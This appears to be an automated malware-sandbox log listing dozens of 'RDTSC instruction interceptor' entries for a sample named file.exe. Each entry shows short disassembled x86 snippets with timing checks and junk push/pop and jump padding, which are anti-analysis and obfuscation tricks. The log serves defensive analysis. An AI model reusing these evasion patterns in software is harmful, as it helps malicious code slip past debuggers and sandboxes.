Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7433D second address: A74365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1548h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FFBACBC1538h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74365 second address: A7436F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFBAD1BEC3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7436F second address: A74385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d js 00007FFBACBC1536h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74562 second address: A74567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74567 second address: A7456C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74C9C second address: A74CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FFBAD1BEC38h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov ecx, ebx 0x00000027 lea eax, dword ptr [ebp+12487637h] 0x0000002d xor edx, 69CF853Fh 0x00000033 push eax 0x00000034 pushad 0x00000035 ja 00007FFBAD1BEC38h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74CE4 second address: A74D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ecx, 6F6D0CEFh 0x0000000e lea eax, dword ptr [ebp+124875F3h] 0x00000014 cld 0x00000015 nop 0x00000016 jbe 00007FFBACBC153Eh 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74D03 second address: A5A2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007FFBAD1BEC3Dh 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FFBAD1BEC38h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 xor dword ptr [ebp+1247FB9Ah], ebx 0x0000002c call dword ptr [ebp+122D57E8h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A2BC second address: A5A2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A2C0 second address: A5A2D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFBAD1BEC43h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A2D9 second address: A5A2DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1CA7 second address: AB1CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC41h 0x00000007 jmp 00007FFBAD1BEC43h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jns 00007FFBAD1BEC38h 0x00000014 pop edi 0x00000015 je 00007FFBAD1BEC54h 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pushad 0x0000001f popad 0x00000020 jnl 00007FFBAD1BEC36h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB206F second address: AB2073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2073 second address: AB2089 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFBAD1BEC36h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jnc 00007FFBAD1BEC36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB23B6 second address: AB23CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFBACBC153Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB23CB second address: AB23D5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB926C second address: AB9270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7BBE second address: AB7BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FFBAD1BEC40h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7BD5 second address: AB7BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7BDE second address: AB7BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7D52 second address: AB7D6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1543h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7D6B second address: AB7D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFBAD1BEC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7EF9 second address: AB7F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFBACBC1542h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F12 second address: AB7F18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F18 second address: AB7F22 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFBACBC1542h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F22 second address: AB7F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F28 second address: AB7F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC1547h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FFBACBC1540h 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8511 second address: AB852A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC43h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB869B second address: AB869F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB869F second address: AB86A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB86A5 second address: AB86B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB86B0 second address: AB86C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jng 00007FFBAD1BEC36h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8812 second address: AB881A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AE4 second address: AB8AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AED second address: AB8AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AF1 second address: AB8AF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8AF7 second address: AB8B01 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFBACBC153Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8B01 second address: AB8B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8C80 second address: AB8C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FFBACBC1540h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8C97 second address: AB8CC3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FFBAD1BEC3Fh 0x00000008 jmp 00007FFBAD1BEC3Ch 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jp 00007FFBAD1BEC36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB90BB second address: AB90CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBACBC153Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB90CE second address: AB90D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFCFD second address: ABFD03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFD03 second address: ABFD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEBFC second address: ABEC15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFBACBC153Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC15 second address: ABEC1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC1B second address: ABEC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEC21 second address: ABEC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF217 second address: ABF21B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF21B second address: ABF221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF4C2 second address: ABF4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABF4C8 second address: ABF4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC13B2 second address: AC13B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7FFE second address: AC8008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD323 second address: ACD329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD468 second address: ACD46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD46C second address: ACD481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Bh 0x00000007 jg 00007FFBACBC1536h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD481 second address: ACD486 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD486 second address: ACD495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007FFBACBC153Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD5C4 second address: ACD5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FFBAD1BEC3Fh 0x0000000b popad 0x0000000c jmp 00007FFBAD1BEC3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD722 second address: ACD750 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1545h 0x00000007 jmp 00007FFBACBC1541h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD750 second address: ACD769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACD769 second address: ACD76D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACDB5E second address: ACDB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD204F second address: AD206D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FFBACBC154Ch 0x0000000c jmp 00007FFBACBC1540h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD206D second address: AD2071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2071 second address: AD2087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBACBC1541h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2087 second address: AD20A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FFBAD1BEC44h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD20A8 second address: AD20B4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFBACBC153Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD20B4 second address: AD20BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2634 second address: AD2652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC1541h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FFBACBC1536h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2652 second address: AD2658 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2658 second address: AD2665 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFBACBC1538h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2665 second address: AD266B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD668F second address: AD6697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6697 second address: AD66A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC3Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E33 second address: AD5E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E38 second address: AD5E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E40 second address: AD5E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5F72 second address: AD5F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5F78 second address: AD5F88 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFBACBC1536h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5F88 second address: AD5F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD60E2 second address: AD60F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBACBC153Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6385 second address: AD63A4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBAD1BEC49h 0x00000008 js 00007FFBAD1BEC36h 0x0000000e jmp 00007FFBAD1BEC3Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC1F1 second address: ADC217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFBACBC1547h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC217 second address: ADC21B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC21B second address: ADC227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFBACBC1536h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC227 second address: ADC246 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFBAD1BEC49h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FFBAD1BEC41h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCDBA second address: ADCDFE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFBACBC1536h 0x00000008 jnc 00007FFBACBC1536h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnl 00007FFBACBC1536h 0x00000017 jmp 00007FFBACBC153Eh 0x0000001c ja 00007FFBACBC1536h 0x00000022 popad 0x00000023 jmp 00007FFBACBC1540h 0x00000028 jbe 00007FFBACBC153Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD8D8 second address: ADD8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD8DE second address: ADD8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1D31 second address: AE1D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1D47 second address: AE1D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1D4B second address: AE1D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC49h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1D6A second address: AE1D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1547h 0x00000007 jmp 00007FFBACBC153Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2019 second address: AE202F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFBAD1BEC3Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE202F second address: AE203F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFBACBC1536h 0x00000008 jc 00007FFBACBC1536h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2494 second address: AE24A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
